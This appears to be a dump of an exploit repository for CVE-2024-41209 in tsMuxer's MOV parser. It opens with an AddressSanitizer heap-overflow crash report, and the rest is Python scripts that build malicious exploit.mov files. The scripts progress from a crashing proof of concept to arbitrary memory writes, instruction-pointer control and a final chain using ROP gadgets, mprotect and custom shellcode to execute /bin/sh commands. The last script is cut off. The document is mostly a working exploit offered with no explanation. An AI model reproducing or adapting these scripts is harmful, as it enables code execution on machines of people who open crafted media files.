114 | 693: atom.size = LLONG_MAX;
115 | 694: m_mdat_pos = 0;
116 | 695: if (mov_read_default(atom) < 0)
117 | |||:
118 | ---: }
119 | at /src/tsMuxer/tsMuxer/movDemuxer.cpp:695
120 |
121 | #18 0x00005555559f0458 in MovDemuxer::openFile (r-xp /out/tsmuxer-mov)
122 | 626: void MovDemuxer::openFile(this = (class MovDemuxer *)0x61900000dc80, streamName = (const std::string &)"/eval/eval-lg/out-mov/crashes/id:000108,sig:06,src:000414,op:more_havoc,rep:64") {
123 | |||:
124 | 654: m_processedBytes = 0;
125 | 655: m_isEOF = false;
126 | 656: readHeaders();
127 | |||:
128 | ---: }
129 | at /src/tsMuxer/tsMuxer/movDemuxer.cpp:656
130 |
131 | #19 0x000055555592b66a in main (r-xp /out/tsmuxer-mov)
132 | 28: int main(argc = (int), argv = (char **)) {
133 | ||:
134 | ||: /* Local reference: class AbstractDemuxer * demuxer = 0x61900000dc80; */
135 | ||: /* Local reference: std::string fileName = "/eval/eval-lg/out-mov/crashes/id:000108,sig:06,src:000414,op:more_havoc,rep:64"; */
136 | 32:
137 | 33: uint32_t fileBlockSize = demuxer->getFileBlockSize();
138 | 34: demuxer->openFile(fileName);
139 | ||:
140 | --: }
141 | at /src/tsMuxer/tsMuxer/main.cpp:34
142 |
143 | ASAN Report:
144 | =================================================================
145 | ==1850721==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x615000001180 at pc 0x555555a070e0 bp 0x7fffffffd6f0 sp 0x7fffffffd6e8
146 | WRITE of size 4 at 0x615000001180 thread T0
147 | /usr/bin/addr2line: DWARF error: invalid or unhandled FORM value: 0x23
148 | #0 0x555555a070df in MovDemuxer::mov_read_trun(MovDemuxer::MOVAtom) ??:?
149 | #1 0x5555559fcee6 in MovDemuxer::ParseTableEntry(MovDemuxer::MOVAtom) ??:?
150 | #2 0x5555559fb758 in MovDemuxer::mov_read_default(MovDemuxer::MOVAtom) ??:?
151 | #3 0x5555559fc84b in MovDemuxer::ParseTableEntry(MovDemuxer::MOVAtom) ??:?
152 | #4 0x5555559fb758 in MovDemuxer::mov_read_default(MovDemuxer::MOVAtom) ??:?
153 | #5 0x5555559fc84b in MovDemuxer::ParseTableEntry(MovDemuxer::MOVAtom) ??:?
154 | #6 0x5555559fb758 in MovDemuxer::mov_read_default(MovDemuxer::MOVAtom) ??:?
155 | #7 0x5555559f67f6 in MovDemuxer::readHeaders() ??:?
156 | #8 0x5555559f0457 in MovDemuxer::openFile(std::__cxx11::basic_string, std::allocator > const&) ??:?
157 | #9 0x55555592b669 in main ??:?
158 | #10 0x7ffff794cd8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58
159 | #11 0x7ffff794ce3f in __libc_start_main_impl csu/../csu/libc-start.c:392
160 | #12 0x55555566c6d4 in _start ??:?
161 |
162 | 0x615000001180 is located 0 bytes to the right of 512-byte region [0x615000000f80,0x615000001180)
163 | allocated by thread T0 here:
164 | #0 0x55555572c35d in operator new(unsigned long) ??:?
165 | #1 0x555555a082d5 in void std::vector >::_M_realloc_insert<>(__gnu_cxx::__normal_iterator > >) ld-temp.o:?
166 |
167 | SUMMARY: AddressSanitizer: heap-buffer-overflow ??:? in MovDemuxer::mov_read_trun(MovDemuxer::MOVAtom)
168 | Shadow bytes around the buggy address:
169 | 0x0c2a7fff81e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
170 | 0x0c2a7fff81f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
171 | 0x0c2a7fff8200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
172 | 0x0c2a7fff8210: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
173 | 0x0c2a7fff8220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
174 | =>0x0c2a7fff8230:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
175 | 0x0c2a7fff8240: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
176 | 0x0c2a7fff8250: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
177 | 0x0c2a7fff8260: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
178 | 0x0c2a7fff8270: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
179 | 0x0c2a7fff8280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
180 | Shadow byte legend (one shadow byte represents 8 application bytes):
181 | Addressable: 00
182 | Partially addressable: 01 02 03 04 05 06 07
183 | Heap left redzone: fa
184 | Freed heap region: fd
185 | Stack left redzone: f1
186 | Stack mid redzone: f2
187 | Stack right redzone: f3
188 | Stack after return: f5
189 | Stack use after scope: f8
190 | Global redzone: f9
191 | Global init order: f6
192 | Poisoned by user: f7
193 | Container overflow: fc
194 | Array cookie: ac
195 | Intra object redzone: bb
196 | ASan internal: fe
197 | Left alloca redzone: ca
198 | Right alloca redzone: cb
199 | ==1850721==ABORTING
200 |
201 | Crash context:
202 | Execution stopped here ==> 0x00007ffff79b99fc: mov r13d,eax
203 |
204 | Register info:
205 | rax - 0x0000000000000000 (0)
206 | rbx - 0x00007ffff78eec00 (140737346726912)
207 | rcx - 0x00007ffff79b99fc (140737347557884)
208 | rdx - 0x0000000000000006 (6)
209 | rsi - 0x00000000001c3d61 (1850721)
210 | rdi - 0x00000000001c3d61 (1850721)
211 | rbp - 0x00000000001c3d61 (0x1c3d61)
212 | rsp - 0x00007fffffffc740 (0x7fffffffc740)
213 | r8 - 0x00007fffffffc810 (140737488341008)
214 | r9 - 0xbfffff00000fffff (-4611687117937967105)
215 | r10 - 0x0000000000000008 (8)
216 | r11 - 0x0000000000000246 (582)
217 | r12 - 0x0000000000000006 (6)
218 | r13 - 0x0000000000000016 (22)
219 | r14 - 0x1000000000000000 (1152921504606846976)
220 | r15 - 0x2000000000000000 (2305843009213693952)
221 | rip - 0x00007ffff79b99fc (0x7ffff79b99fc <__GI___pthread_kill+300>)
222 | eflags - 0x00000246 ([ PF ZF IF ])
223 | cs - 0x00000033 (51)
224 | ss - 0x0000002b (43)
225 | ds - 0x00000000 (0)
226 | es - 0x00000000 (0)
227 | fs - 0x00000000 (0)
228 | gs - 0x00000000 (0)
229 | k0 - 0x00000000f4776004 (4101464068)
230 | k1 - 0x000000000000ffff (65535)
231 | k2 - 0x000000000000001f (31)
232 | k3 - 0x0000000000000000 (0)
233 | k4 - 0x0000000000000000 (0)
234 | k5 - 0x0000000000000000 (0)
235 | k6 - 0x0000000000000000 (0)
236 | k7 - 0x0000000000000000 (0)
237 |
--------------------------------------------------------------------------------
/CVE-2024-41209/README.md:
--------------------------------------------------------------------------------
1 | # CVE-2024-41209
--------------------------------------------------------------------------------
/CVE-2024-41209/exploit_aaw.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | from ptrlib import *
3 |
4 | # ファイルヘッダ
5 | ftyp = b''
6 | ftyp += b'iso5' # major_brand
7 | ftyp += p32(1, 'big') # minor_version
8 |
9 | # tfhdのためにnum_tracksをインクリメントする
10 | trak = b''
11 |
12 | # tfhdのためにtrexを追加する
13 | trex1 = b''
14 | trex1 += b'\x00' # version
15 | trex1 += b'\x00\x00\x00' # flags
16 | trex1 += p32(1, 'big') # track_id
17 | trex1 += p32(1, 'big') # stsd_id
18 | trex1 += p32(0, 'big') # duration
19 | trex1 += p32(0, 'big') # size
20 | trex1 += p32(0, 'big') # flags
21 |
22 | # trunのためにfrag->track_idを設定する
23 | tfhd1 = b''
24 | tfhd1 += b'\x00' # version
25 | tfhd1 += b'\x00\x00\x00' # flags
26 | tfhd1 += p32(1, 'big') # track_id
27 |
28 | trun1_entries = [0] * (0x1f0 // 0x10)
29 | trun1 = b''
30 | trun1 += b'\x00' # version
31 | trun1 += b'\x00\x08\x00' # flags (set for ctts_data)
32 | trun1 += p32(len(trun1_entries), 'big') # entries
33 | trun1 += flat(trun1_entries, map=lambda x: p32(x, 'big'))
34 |
35 | ctts1 = b''
36 | ctts1 += b'\x00' # version
37 | ctts1 += b'\x00\x00\x00' # flags
38 | ctts1 += p32(0, 'big') # entries (resize)
39 |
40 | # 本質パート
41 | trun2_entries = [0xdeadbeef, 0x191] + [u64(b"trun2")] * 22
42 | trun2_entries += [0x91c800] # 書き込み先
43 | trun2 = b''
44 | trun2 += b'\x00' # version
45 | trun2 += b'\x00\x08\x00' # flags (set for ctts_data)
46 | trun2 += p32(len(trun2_entries), 'big') # entries
47 | trun2 += flat(trun2_entries, map=lambda x: p32(x, 'big'))
48 |
49 | # vectorを作るためのctts
50 | ctts2 = b''
51 | ctts2 += b'\x00' # version
52 | ctts2 += b'\x00\x00\x00' # flags
53 | ctts2 += p32(1, 'big') # entries (resize)
54 | ctts2 += p32(0, 'big') + p32(0, 'big') # count / duration
55 |
56 | # 壊れたvectorに書き込むためのAAW
57 | ctts3_entries = [
58 | [0xdeadbeef, 0xcafebabe],
59 | [0xdeadbeef, 0xcafebabe]
60 | ]
61 | ctts3 = b''
62 | ctts3 += b'\x00' # version
63 | ctts3 += b'\x00\x00\x00' # flags
64 | ctts3 += p32(len(ctts3_entries), 'big') # entries (resize)
65 | ctts3 += flat(ctts3_entries, map=lambda p: p32(p[0], 'big') + p32(p[1], 'big'))
66 |
67 | moov = b''
68 | moov += p32(8 + len(trak), 'big') + b'trak' + trak
69 | moov += p32(8 + len(trex1), 'big') + b'trex' + trex1
70 | moov += p32(8 + len(tfhd1), 'big') + b'tfhd' + tfhd1
71 | moov += p32(8 + len(trun1), 'big') + b'trun' + trun1
72 | moov += p32(8 + len(ctts1), 'big') + b'ctts' + ctts1
73 | moov += p32(8 + len(trak), 'big') + b'trak' + trak # MovStreamContextを確保
74 | moov += p32(8 + len(ctts2), 'big') + b'ctts' + ctts2 # vectorをセット
75 | moov += p32(8 + len(trun2), 'big') + b'trun' + trun2 # heap overflow
76 | moov += p32(8 + len(ctts3), 'big') + b'ctts' + ctts3 # AAW
77 |
78 | payload = b""
79 | payload += p32(8 + len(ftyp), 'big') + b'ftyp' + ftyp
80 | payload += p32(8 + len(moov), 'big') + b"moov" + moov
81 |
82 | with open("exploit.mov", "wb") as f:
83 | f.write(payload)
84 |
85 | #sock = Process(["./tsMuxeR", "exploit.mov"])
86 | #sock.sh()
87 |
--------------------------------------------------------------------------------
/CVE-2024-41209/exploit_final_poc.py:
--------------------------------------------------------------------------------
1 | from ptrlib import *
2 |
3 |
4 | addr_arg0 = 0x900ed0 - 0x100
5 | addr_arg1 = 0x900ed0 - 0x100 + 0x10
6 | addr_arg2 = 0x900ed0 - 0x100 + 0x20
7 | addr_args = 0x900ed0 - 0x100 - 0x20
8 |
9 | def craft_write(addr, val):
10 | return [
11 | 0xb990c031, # xor eax, eax
12 | # or al, XX; shl eax, 8
13 | # 0xb990000c | (((addr >> 24) & 0xff) << 8), 0xb908e0c1,
14 | 0xb990000c | (((addr >> 16) & 0xff) << 8), 0xb908e0c1,
15 | 0xb990000c | (((addr >> 8) & 0xff) << 8), 0xb908e0c1,
16 | 0xb990000c | (((addr >> 0) & 0xff) << 8),
17 | # mov bl, XX
18 | 0xb99000b3 | (val << 8),
19 | # mov [rax], bl
20 | 0xb9901888
21 | ]
22 |
23 | def craft_string(addr, s):
24 | out = []
25 | for i, c in enumerate(s):
26 | out += craft_write(addr + i, c)
27 | return out
28 |
29 | shellcode = []
30 | shellcode += craft_string(addr_arg0, b'/bin/sh\0')
31 | shellcode += craft_string(addr_arg1, b'-c\0')
32 | shellcode += craft_string(addr_arg2, b'ls -lha; id; date\0')
33 | for i in range(3):
34 | shellcode += craft_write(addr_args+i, (addr_arg0 >> (i*8)) & 0xff)
35 | for i in range(3):
36 | shellcode += craft_write(addr_args+8+i, (addr_arg1 >> (i*8)) & 0xff)
37 | for i in range(3):
38 | shellcode += craft_write(addr_args+0x10+i, (addr_arg2 >> (i*8)) & 0xff)
39 | addr = addr_args+0x18
40 | shellcode += [
41 | 0xb990c031, # xor eax, eax
42 | # or al, XX; shl eax, 8
43 | 0xb990000c | (((addr >> 16) & 0xff) << 8), 0xb908e0c1,
44 | 0xb990000c | (((addr >> 8) & 0xff) << 8), 0xb908e0c1,
45 | 0xb990000c | (((addr >> 0) & 0xff) << 8),
46 | # xor ebx, ebx
47 | 0xb990db31,
48 | # mov [rax], rbx
49 | 0xb9188948
50 | ]
51 |
52 | # Set rsi
53 | addr = addr_args
54 | shellcode += [
55 | 0xb990c031, # xor eax, eax
56 | # or al, XX; shl eax, 8
57 | 0xb990000c | (((addr >> 16) & 0xff) << 8), 0xb908e0c1,
58 | 0xb990000c | (((addr >> 8) & 0xff) << 8), 0xb908e0c1,
59 | 0xb990000c | (((addr >> 0) & 0xff) << 8),
60 | # mov esi, eax
61 | 0xb990c689,
62 | ]
63 |
64 | # Set rdi
65 | addr = addr_arg0
66 | shellcode += [
67 | 0xb990c031, # xor eax, eax
68 | # or al, XX; shl eax, 8
69 | 0xb990000c | (((addr >> 16) & 0xff) << 8), 0xb908e0c1,
70 | 0xb990000c | (((addr >> 8) & 0xff) << 8), 0xb908e0c1,
71 | 0xb990000c | (((addr >> 0) & 0xff) << 8),
72 | # mov edi, eax
73 | 0xb990c789,
74 | ]
75 |
76 | shellcode += [
77 | 'xor edx, edx',
78 | 'xor eax, eax',
79 | 'mov al, 59',
80 | 'syscall',
81 | ]
82 |
83 | elf = ELF("./tsMuxeR")
84 |
85 | # ファイルヘッダ
86 | ftyp = b''
87 | ftyp += b'iso5' # major_brand
88 | ftyp += p32(1, 'big') # minor_version
89 |
90 | # tfhdのためにnum_tracksをインクリメントする
91 | trak = b''
92 |
93 | # tfhdのためにtrexを追加する
94 | trex1 = b''
95 | trex1 += b'\x00' # version
96 | trex1 += b'\x00\x00\x00' # flags
97 | trex1 += p32(1, 'big') # track_id
98 | trex1 += p32(1, 'big') # stsd_id
99 | trex1 += p32(0, 'big') # duration
100 | trex1 += p32(0, 'big') # size
101 | trex1 += p32(0, 'big') # flags
102 |
103 | # trunのためにfrag->track_idを設定する
104 | tfhd1 = b''
105 | tfhd1 += b'\x00' # version
106 | tfhd1 += b'\x00\x00\x00' # flags
107 | tfhd1 += p32(1, 'big') # track_id
108 |
109 | trun1_entries = [0] * (0x1f0 // 0x10)
110 | trun1 = b''
111 | trun1 += b'\x00' # version
112 | trun1 += b'\x00\x08\x00' # flags (set for ctts_data)
113 | trun1 += p32(len(trun1_entries), 'big') # entries
114 | trun1 += flat(trun1_entries, map=lambda x: p32(x, 'big'))
115 |
116 | ctts1 = b''
117 | ctts1 += b'\x00' # version
118 | ctts1 += b'\x00\x00\x00' # flags
119 | ctts1 += p32(0, 'big') # entries (resize)
120 |
121 | # 本質パート
122 | addr_write = 0x901e60 - len(shellcode) * 8
123 | trun2_entries = [0xdeadbeef, 0x191] + [0] * 22 + [addr_write]
124 | trun2 = b''
125 | trun2 += b'\x00' # version
126 | trun2 += b'\x00\x08\x00' # flags (set for ctts_data)
127 | trun2 += p32(len(trun2_entries), 'big') # entries
128 | trun2 += flat(trun2_entries, map=lambda x: p32(x, 'big'))
129 |
130 | # vectorを作るためのctts
131 | ctts2 = b''
132 | ctts2 += b'\x00' # version
133 | ctts2 += b'\x00\x00\x00' # flags
134 | ctts2 += p32(1, 'big') # entries (resize)
135 | ctts2 += p32(0, 'big') + p32(0, 'big') # count / duration
136 |
137 | # 壊れたvectorに書き込むためのAAW
138 | # 0x007b0851: mov esp, ebp; pop rbx; pop rbp; mov rax, r12; pop r12; ret;
139 | rop_pivot = next(elf.gadget(
140 | "mov esp, ebp; pop rbx; pop rbp; mov rax, r12; pop r12; ret"
141 | ))
142 |
143 |
144 | def convert(b):
145 | assert len(b) < 4
146 | return u32(b + b'\x90'*(3 - len(b)) + b'\xb9')
147 |
148 | ctts3_entries = []
149 | for i in range(0, len(shellcode), 2):
150 | ctts3_entries.append([
151 | shellcode[i] if isinstance(shellcode[i], int) else convert(assemble(shellcode[i])),
152 | shellcode[i+1] if isinstance(shellcode[i+1], int) else convert(assemble(shellcode[i+1]))
153 | ])
154 |
155 | ctts3_entries += [
156 | [0xdead0000, 0xcafe0000], # rbx / rbp
157 | [0xdead0012, next(elf.gadget('pop rdi; ret'))], # r12
158 | [addr_write & ~0xfff, next(elf.gadget('pop rsi; ret'))],
159 | [0x4000, next(elf.gadget('pop rdx; ret'))],
160 | [0b111, next(elf.gadget('pop rax; ret'))],
161 | [syscall.x64.mprotect, next(elf.gadget('syscall; pop rbp; ret'))],
162 | [rop_pivot, addr_write],
163 | ]
164 |
165 | ctts3 = b''
166 | ctts3 += b'\x00' # version
167 | ctts3 += b'\x00\x00\x00' # flags
168 | ctts3 += p32(len(ctts3_entries), 'big') # entries (resize)
169 | ctts3 += flat(ctts3_entries, map=lambda p: p32(p[0], 'big') + p32(p[1], 'big'))
170 |
171 | moov = b''
172 | moov += p32(8 + len(trak), 'big') + b'trak' + trak
173 | moov += p32(8 + len(trex1), 'big') + b'trex' + trex1
174 | moov += p32(8 + len(tfhd1), 'big') + b'tfhd' + tfhd1
175 | moov += p32(8 + len(trun1), 'big') + b'trun' + trun1
176 | moov += p32(8 + len(ctts1), 'big') + b'ctts' + ctts1
177 | moov += p32(8 + len(trak), 'big') + b'trak' + trak # MovStreamContextを確保
178 | moov += p32(8 + len(ctts2), 'big') + b'ctts' + ctts2 # vectorをセット
179 | moov += p32(8 + len(trun2), 'big') + b'trun' + trun2 # heap overflow
180 | moov += p32(8 + len(ctts3), 'big') + b'ctts' + ctts3 # AAW
181 |
182 | payload = b""
183 | payload += p32(8 + len(ftyp), 'big') + b'ftyp' + ftyp
184 | payload += p32(8 + len(moov), 'big') + b"moov" + moov
185 | payload += p32(8, 'big') + b'cmov' # throw
186 |
187 | with open("exploit.mov", "wb") as f:
188 | f.write(payload)
189 |
190 | #sock = Process(["./tsMuxeR", "exploit.mov"])
191 | #sock.sh()
192 |
--------------------------------------------------------------------------------
/CVE-2024-41209/exploit_min_poc.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | from ptrlib import *
3 |
4 | # ファイルヘッダ
5 | ftyp = b''
6 | ftyp += b'iso5' # major_brand
7 | ftyp += p32(1, 'big') # minor_version
8 |
9 | # tfhdのためにnum_tracksをインクリメントする
10 | trak = b''
11 |
12 | # tfhdのためにtrexを追加する
13 | trex = b''
14 | trex += b'\x00' # version
15 | trex += b'\x00\x00\x00' # flags
16 | trex += p32(1, 'big') # track_id
17 | trex += p32(1, 'big') # stsd_id
18 | trex += p32(0, 'big') # duration
19 | trex += p32(0, 'big') # size
20 | trex += p32(0, 'big') # flags
21 |
22 | # trunのためにfrag->track_idを設定する
23 | tfhd = b''
24 | tfhd += b'\x00' # version
25 | tfhd += b'\x00\x00\x00' # flags
26 | tfhd += p32(1, 'big') # track_id
27 |
28 | trun1_entries = [
29 | 0xdeadbeef, 0xcafebabe, 0xfee1dead
30 | ]
31 | trun1 = b''
32 | trun1 += b'\x00' # version
33 | trun1 += b'\x00\x08\x00' # flags (set for ctts_data)
34 | trun1 += p32(len(trun1_entries), 'big') # entries
35 | trun1 += flat(trun1_entries, map=lambda x: p32(x, 'big'))
36 |
37 | ctts = b''
38 | ctts += b'\x00' # version
39 | ctts += b'\x00\x00\x00' # flags
40 | ctts += p32(0, 'big') # entries (resize)
41 |
42 | # 本質パート
43 | trun2_entries = [
44 | 0x1234beef, 0x2345babe, 0x3456dead
45 | ]
46 | trun2 = b''
47 | trun2 += b'\x00' # version
48 | trun2 += b'\x00\x08\x00' # flags (set for ctts_data)
49 | trun2 += p32(len(trun2_entries), 'big') # entries
50 | trun2 += flat(trun2_entries, map=lambda x: p32(x, 'big'))
51 |
52 | moov = b''
53 | moov += p32(8 + len(trak), 'big') + b'trak' + trak
54 | moov += p32(8 + len(trex), 'big') + b'trex' + trex
55 | moov += p32(8 + len(tfhd), 'big') + b'tfhd' + tfhd
56 | moov += p32(8 + len(trun1), 'big') + b'trun' + trun1
57 | moov += p32(8 + len(ctts), 'big') + b'ctts' + ctts
58 | moov += p32(8 + len(trun2), 'big') + b'trun' + trun2
59 |
60 | payload = b""
61 | payload += p32(8 + len(ftyp), 'big') + b'ftyp' + ftyp
62 | payload += p32(8 + len(moov), 'big') + b"moov" + moov
63 |
64 | with open("exploit.mov", "wb") as f:
65 | f.write(payload)
66 |
67 | #sock = Process(["./tsMuxeR", "exploit.mov"])
68 | #sock.sh()
69 |
--------------------------------------------------------------------------------
/CVE-2024-41209/exploit_rip.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | from ptrlib import *
3 |
4 |
5 | elf = ELF('./tsMuxeR')
6 | # ファイルヘッダ
7 | ftyp = b''
8 | ftyp += b'iso5' # major_brand
9 | ftyp += p32(1, 'big') # minor_version
10 |
11 | # tfhdのためにnum_tracksをインクリメントする
12 | trak = b''
13 |
14 | # tfhdのためにtrexを追加する
15 | trex1 = b''
16 | trex1 += b'\x00' # version
17 | trex1 += b'\x00\x00\x00' # flags
18 | trex1 += p32(1, 'big') # track_id
19 | trex1 += p32(1, 'big') # stsd_id
20 | trex1 += p32(0, 'big') # duration
21 | trex1 += p32(0, 'big') # size
22 | trex1 += p32(0, 'big') # flags
23 |
24 | # trunのためにfrag->track_idを設定する
25 | tfhd1 = b''
26 | tfhd1 += b'\x00' # version
27 | tfhd1 += b'\x00\x00\x00' # flags
28 | tfhd1 += p32(1, 'big') # track_id
29 |
30 | trun1_entries = [0] * (0x1f0 // 0x10)
31 | trun1 = b''
32 | trun1 += b'\x00' # version
33 | trun1 += b'\x00\x08\x00' # flags (set for ctts_data)
34 | trun1 += p32(len(trun1_entries), 'big') # entries
35 | trun1 += flat(trun1_entries, map=lambda x: p32(x, 'big'))
36 |
37 | ctts1 = b''
38 | ctts1 += b'\x00' # version
39 | ctts1 += b'\x00\x00\x00' # flags
40 | ctts1 += p32(0, 'big') # entries (resize)
41 |
42 | # 本質パート
43 | trun2_entries = [0xdeadbeef, 0x191] + [u64(b"trun2")] * 22
44 | trun2_entries += [elf.symbol("_IO_file_jumps")] # 書き込み先
45 | trun2 = b''
46 | trun2 += b'\x00' # version
47 | trun2 += b'\x00\x08\x00' # flags (set for ctts_data)
48 | trun2 += p32(len(trun2_entries), 'big') # entries
49 | trun2 += flat(trun2_entries, map=lambda x: p32(x, 'big'))
50 |
51 | # vectorを作るためのctts
52 | ctts2 = b''
53 | ctts2 += b'\x00' # version
54 | ctts2 += b'\x00\x00\x00' # flags
55 | ctts2 += p32(1, 'big') # entries (resize)
56 | ctts2 += p32(0, 'big') + p32(0, 'big') # count / duration
57 |
58 | # 壊れたvectorに書き込むためのAAW
59 | ctts3_entries = [
60 | [0xdead0000, 0xdead0001],
61 | [0xdead0002, 0xdead0003],
62 | [0xdead0004, 0xdead0005],
63 | [0xdead0006, 0xdead0007],
64 | [0xdead0008, 0xdead0009],
65 | [0xdead000a, 0xdead000b],
66 | [0xdead000c, 0xdead000d],
67 | ]
68 |
69 | ctts3 = b''
70 | ctts3 += b'\x00' # version
71 | ctts3 += b'\x00\x00\x00' # flags
72 | ctts3 += p32(len(ctts3_entries), 'big') # entries (resize)
73 | ctts3 += flat(ctts3_entries, map=lambda p: p32(p[0], 'big') + p32(p[1], 'big'))
74 |
75 | moov = b''
76 | moov += p32(8 + len(trak), 'big') + b'trak' + trak
77 | moov += p32(8 + len(trex1), 'big') + b'trex' + trex1
78 | moov += p32(8 + len(tfhd1), 'big') + b'tfhd' + tfhd1
79 | moov += p32(8 + len(trun1), 'big') + b'trun' + trun1
80 | moov += p32(8 + len(ctts1), 'big') + b'ctts' + ctts1
81 | moov += p32(8 + len(trak), 'big') + b'trak' + trak # MovStreamContextを確保
82 | moov += p32(8 + len(ctts2), 'big') + b'ctts' + ctts2 # vectorをセット
83 | moov += p32(8 + len(trun2), 'big') + b'trun' + trun2 # heap overflow
84 | moov += p32(8 + len(ctts3), 'big') + b'ctts' + ctts3 # AAW
85 |
86 | payload = b""
87 | payload += p32(8 + len(ftyp), 'big') + b'ftyp' + ftyp
88 | payload += p32(8 + len(moov), 'big') + b"moov" + moov
89 | payload += p32(8, 'big') + b'cmov' # throw
90 |
91 | with open("exploit.mov", "wb") as f:
92 | f.write(payload)
93 |
94 | #sock = Process(["./tsMuxeR", "exploit.mov"])
95 | #sock.sh()
96 |
--------------------------------------------------------------------------------
/CVE-2024-41209/exploit_shellcode.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | from ptrlib import *
3 |
4 | addr_arg0 = 0x900ed0 - 0x100
5 | addr_arg1 = 0x900ed0 - 0x100 + 0x10
6 | addr_arg2 = 0x900ed0 - 0x100 + 0x20
7 | addr_args = 0x900ed0 - 0x100 - 0x20
8 |
9 | def craft_write(addr, val):
10 | return [
11 | 0xb990c031, # xor eax, eax
12 | # or al, XX; shl eax, 8
13 | # 0xb990000c | (((addr >> 24) & 0xff) << 8), 0xb908e0c1,
14 | 0xb990000c | (((addr >> 16) & 0xff) << 8), 0xb908e0c1,
15 | 0xb990000c | (((addr >> 8) & 0xff) << 8), 0xb908e0c1,
16 | 0xb990000c | (((addr >> 0) & 0xff) << 8),
17 | # mov bl, XX
18 | 0xb99000b3 | (val << 8),
19 | # mov [rax], bl
20 | 0xb9901888
21 | ]
22 |
23 | def craft_string(addr, s):
24 | out = []
25 | for i, c in enumerate(s):
26 | out += craft_write(addr + i, c)
27 | return out
28 |
29 | shellcode = []
30 | shellcode += craft_string(addr_arg0, b'/bin/sh\0')
31 | shellcode += craft_string(addr_arg1, b'-c\0')
32 | shellcode += craft_string(addr_arg2, b'ls -lha; id; date\0')
33 | for i in range(3):
34 | shellcode += craft_write(addr_args+i, (addr_arg0 >> (i*8)) & 0xff)
35 | for i in range(3):
36 | shellcode += craft_write(addr_args+8+i, (addr_arg1 >> (i*8)) & 0xff)
37 | for i in range(3):
38 | shellcode += craft_write(addr_args+0x10+i, (addr_arg2 >> (i*8)) & 0xff)
39 | addr = addr_args+0x18
40 | shellcode += [
41 | 0xb990c031, # xor eax, eax
42 | # or al, XX; shl eax, 8
43 | 0xb990000c | (((addr >> 16) & 0xff) << 8), 0xb908e0c1,
44 | 0xb990000c | (((addr >> 8) & 0xff) << 8), 0xb908e0c1,
45 | 0xb990000c | (((addr >> 0) & 0xff) << 8),
46 | # xor ebx, ebx
47 | 0xb990db31,
48 | # mov [rax], rbx
49 | 0xb9188948
50 | ]
51 |
52 | # Set rsi
53 | addr = addr_args
54 | shellcode += [
55 | 0xb990c031, # xor eax, eax
56 | # or al, XX; shl eax, 8
57 | 0xb990000c | (((addr >> 16) & 0xff) << 8), 0xb908e0c1,
58 | 0xb990000c | (((addr >> 8) & 0xff) << 8), 0xb908e0c1,
59 | 0xb990000c | (((addr >> 0) & 0xff) << 8),
60 | # mov esi, eax
61 | 0xb990c689,
62 | ]
63 |
64 | # Set rdi
65 | addr = addr_arg0
66 | shellcode += [
67 | 0xb990c031, # xor eax, eax
68 | # or al, XX; shl eax, 8
69 | 0xb990000c | (((addr >> 16) & 0xff) << 8), 0xb908e0c1,
70 | 0xb990000c | (((addr >> 8) & 0xff) << 8), 0xb908e0c1,
71 | 0xb990000c | (((addr >> 0) & 0xff) << 8),
72 | # mov edi, eax
73 | 0xb990c789,
74 | ]
75 |
76 | shellcode += [
77 | 'xor edx, edx',
78 | 'xor eax, eax',
79 | 'mov al, 59',
80 | 'syscall',
81 | ]
82 |
83 | def convert(b):
84 | assert len(b) < 4
85 | return u32(b + b'\x90'*(3 - len(b)) + b'\xb9')
86 |
87 | ctts3_entries = []
88 | for i in range(0, len(shellcode), 2):
89 | ctts3_entries.append([
90 | shellcode[i] if isinstance(shellcode[i], int) else convert(assemble(shellcode[i])),
91 | shellcode[i+1] if isinstance(shellcode[i+1], int) else convert(assemble(shellcode[i+1]))
92 | ])
93 |
--------------------------------------------------------------------------------
/CVE-2024-41209/exploit_stack_pivot.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | from ptrlib import *
3 |
4 |
5 | elf = ELF('./tsMuxeR')
6 | # ファイルヘッダ
7 | ftyp = b''
8 | ftyp += b'iso5' # major_brand
9 | ftyp += p32(1, 'big') # minor_version
10 |
11 | # tfhdのためにnum_tracksをインクリメントする
12 | trak = b''
13 |
14 | # tfhdのためにtrexを追加する
15 | trex1 = b''
16 | trex1 += b'\x00' # version
17 | trex1 += b'\x00\x00\x00' # flags
18 | trex1 += p32(1, 'big') # track_id
19 | trex1 += p32(1, 'big') # stsd_id
20 | trex1 += p32(0, 'big') # duration
21 | trex1 += p32(0, 'big') # size
22 | trex1 += p32(0, 'big') # flags
23 |
24 | # trunのためにfrag->track_idを設定する
25 | tfhd1 = b''
26 | tfhd1 += b'\x00' # version
27 | tfhd1 += b'\x00\x00\x00' # flags
28 | tfhd1 += p32(1, 'big') # track_id
29 |
30 | trun1_entries = [0] * (0x1f0 // 0x10)
31 | trun1 = b''
32 | trun1 += b'\x00' # version
33 | trun1 += b'\x00\x08\x00' # flags (set for ctts_data)
34 | trun1 += p32(len(trun1_entries), 'big') # entries
35 | trun1 += flat(trun1_entries, map=lambda x: p32(x, 'big'))
36 |
37 | ctts1 = b''
38 | ctts1 += b'\x00' # version
39 | ctts1 += b'\x00\x00\x00' # flags
40 | ctts1 += p32(0, 'big') # entries (resize)
41 |
42 | # 本質パート
43 | trun2_entries = [0xdeadbeef, 0x191] + [u64(b"trun2")] * 22
44 | trun2_entries += [elf.symbol("_IO_file_jumps")] # 書き込み先
45 | trun2 = b''
46 | trun2 += b'\x00' # version
47 | trun2 += b'\x00\x08\x00' # flags (set for ctts_data)
48 | trun2 += p32(len(trun2_entries), 'big') # entries
